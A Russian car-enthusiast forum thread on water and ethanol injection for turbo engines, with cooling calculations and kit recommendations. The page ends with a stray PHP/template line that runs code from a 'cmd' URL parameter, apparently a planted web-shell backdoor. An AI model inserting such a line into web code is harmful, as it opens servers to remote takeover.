+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 30

Тема: Оросительное охлаждение воздуха


  1. #1
    Есть следующая идея, требуется критика в разумных пределах...
    На Евиках и Субару есть опция - распыление воды на интеркулер кратковременное для снижения тем-ры воздуха на входе в двигатель = повышение мощности за счет улучшения наполнения цилиндров (чем меньше тем-ра тем больше плотность и масса воздуха)
    Идея следующая. Воздух после турбины попадает в интеркулер где охлаждается за счет окр. воздуха, при этом тем-ра на входе в двигатель в любом случае будет на 5-10 гр выше тем-ры окр. среды за счет потерь на теплообмен. Дополнительные интеркулеры (тюнинговые) помогут лишь незначительно снизить данный перепад.
    Замечено что даже в самый жаркий день тем-ра воды которая может испаряться не будет выше +25 гр. (т.н тем-ра мокрого термометра). А что если производить вспрыск воды путем ее распыления непосредственно во впускной коллектор. Естественно что вода должна быть дистилированной... Если помните на советских пылесосах была насадка пульвелизатора, которая сосала воду и ее распыляла за счет эффекта эжекции...
    Чем больше поток воздуха в основном трубопроводе= скорость потока, тем большее количество воды будет распыляться. При этом происходит испарение воды, снижение тем-ры воздуха практически до тем-ры мокрого термометра, повышение плотности воздуха за счет дополнительной массы воды. При этом можно добиться увеличения мощности двигателя особенно в летнее время. Кстати вместо воды можно залить спирт этиловый (этанол) который поддерживает горение, обладает высоким октановым числом, более низкой температурой испарения при атм. давлении, что позволит охладить воздух еще лучше. При низких оборотах двигателя и соответственно режиме частичной нагрузки, интеркулер будет охлаждать воздух практически до тем-ры окр. среды, скорость воздуха будет низкой и эжекции не будет. При высоких оборотах и полностью открытом дросселе скорость воздуха будет достаточна для возникновения эжекции, когда интеркулер уже не сможет обеспечить охлаждения + когда возникает потребность в ускорении и каждая л.с на счету...Какие мысли есть на данный счет ? Если интересно, то могу произвести расчет расхода спирта или воды....Бачок можно разместить в моторном отсеке...Место там есть.... Литров на 5-8.... Самое главное чтобы машины алкаши не вскрывали, чтобы спирт воровать

  2. #2
    удельная теплота парообразовани воды 2256 кдж/кг. или на литр. Спирта 840 кдж/кг
    Теплоемкость воздуха около 1 кдж/кг К . Плотность воздуха 1,2 кг/м3.
    Объем двигателя 2000 см3, Расход воздуха при оборотах 3000 об/мин или 50 об/с составит 1000см3 (так как половина цилиндров работает на впуск, остальная на выпуск) х 50 (циклов в сек.) = 50000 см3 или 50 л.
    Соответственно за минуту 3 м3.
    Для охлаждения этого кол-ва воздуха скажем на 5 К, потребуется снизить его энергию на 18 кдж или испарить 8 грамм воды или 21 грамм спирта.
    То есть литра воды хватит для работы двигателя при скорости 3000 об/мин в течении 2 часов....

  3. #3
    кстати нашел интересную ссылка на английском языке...

    http://www.greencarcongress.com/2006...l_direct_.html

  4. #4
    спирта нужно будет в 2,5 раза больше....но ...в течение 2 часов работы двигателя при 3000 об/мин бензина сожжется около 25 литров....при этом добавка 2,5 литров спирта (10%) повысит его октановое число на 3 единицы...то есть льем 95 , а отжигаем как на 98... (октановое число спирта 108)

  5. #5
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    такие системы по впрыску воды в коллектор в виде практически тумана есть и они продаются, единственное требование это хирургическая установка и постоянная инспекция сего девайса.
    Денег стоить будет столько же , сколько прикрутить более безопасный биг-турбо.

    На кулер можно и так форсунками от омывателя например от Волги 3102 с отдельным бачком прыскать водичку.
    песок сыпется....не останавливайтесь на достигнутом !

  6. #6
    GTI-Racing Antonio is on a distinguished road Аватар для Antonio
    Регистрация
    08.08.2006
    Машина
    Gti MkV
    Сообщений
    350
    Закисью надо!!!Вот это будет правильнее!!да и эффективней!!

  7. #7
    боюсь что закись дает только кратковременный эффект, при долговременном использовании снижается ресурс движка....а здесь повышается октан топлива, снижается тем-ра, повышается детонационная стойкость при высоких тем-рах окружающей среды... то есть можно лить 93 или 95 бензин и отжигать по полной.... наверное следующим шагом тюнинга после чипа будет вспрыск этанола во впускной коллектор....

  8. #8
    уважаемые ! кто подскажет проверенных производителей китов на GTI 5 вспрыска этанола/метанола ?
    вроде нашел Aquamist.... может еще какие компании есть ?
    может быть у кого то есть опыт по эксплуатации ?

    заранее всем благодарен !

  9. #9
    <div class='quotetop'>Цитата(umidka &#064; Oct 18 2007, 15&#58;26) <{POST_SNAPBACK}></div><div class='quotemain'>уважаемые &#33; кто подскажет проверенных производителей китов на GTI 5 вспрыска этанола/метанола ?
    вроде нашел Aquamist.... может еще какие компании есть ?
    может быть у кого то есть опыт по эксплуатации ?

    заранее всем благодарен &#33;[/b][/quote]

    Прочти,не ленись,там ответы на все твои вопросы по впрыску водометанольной смеси,включая проверенные компании:

    http://www.dsm-club.org/forum/dvigateli-i-...rysk-print.html

    а вот реальные результаты проверок и замеров,с впрыском и без,очень хорошее исследование,и люди проверенные:

    http://www.turbo-garage.com.ua/garage/phor...ead.php?3,15490

    А купить всё это говно,с любыми наклеечками можно на ебее,цены в среднем от 200 до 400,в зависимости от перфоманса.

    Я считаю,дело очень хорошее,особенно как пишет Олег-купе,когда связка турба-куллер на пределе,а хочется ещё дунуть,
    или опять-таки бензин попался хреновенький,дабы не детонило.Мой комплектик уже в общем-то едет.А так-думай сам конечно.

  10. #10
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    <div class='quotetop'>Цитата(сам &#064; Oct 27 2007, 00&#58;46) <{POST_SNAPBACK}></div><div class='quotemain'>Прочти,не ленись,там ответы на все твои вопросы по впрыску водометанольной смеси,включая проверенные компании:

    http://www.dsm-club.org/forum/dvigateli-i-...rysk-print.html

    а вот реальные результаты проверок и замеров,с впрыском и без,очень хорошее исследование,и люди проверенные:

    http://www.turbo-garage.com.ua/garage/phor...ead.php?3,15490

    А купить всё это говно,с любыми наклеечками можно на ебее,цены в среднем от 200 до 400,в зависимости от перфоманса.

    Я считаю,дело очень хорошее,особенно как пишет Олег-купе,когда связка турба-куллер на пределе,а хочется ещё дунуть,
    или опять-таки бензин попался хреновенький,дабы не детонило.Мой комплектик уже в общем-то едет.А так-думай сам конечно.[/b][/quote]


    неплохо
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. Продам Охлаждение DSG Kate Cool.
    от Роман =) в разделе Покупка и продажа запчастей
    Ответов: 5
    Последнее сообщение: 27.07.2015, 12:28
  2. Охлаждение На Golf 3 Aam
    от Jenya888 в разделе Двигатель
    Ответов: 1
    Последнее сообщение: 13.01.2009, 09:57
  3. Охлаждение Дизеля
    от bigl в разделе Двигатель
    Ответов: 2
    Последнее сообщение: 30.04.2008, 22:16
  4. охлаждение двигателя
    от Antibiotick в разделе Ремонт и обслуживание
    Ответов: 4
    Последнее сообщение: 07.11.2007, 11:09
  5. Охлаждение двигателя
    от Antibiotick в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 10.05.2007, 10:47

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}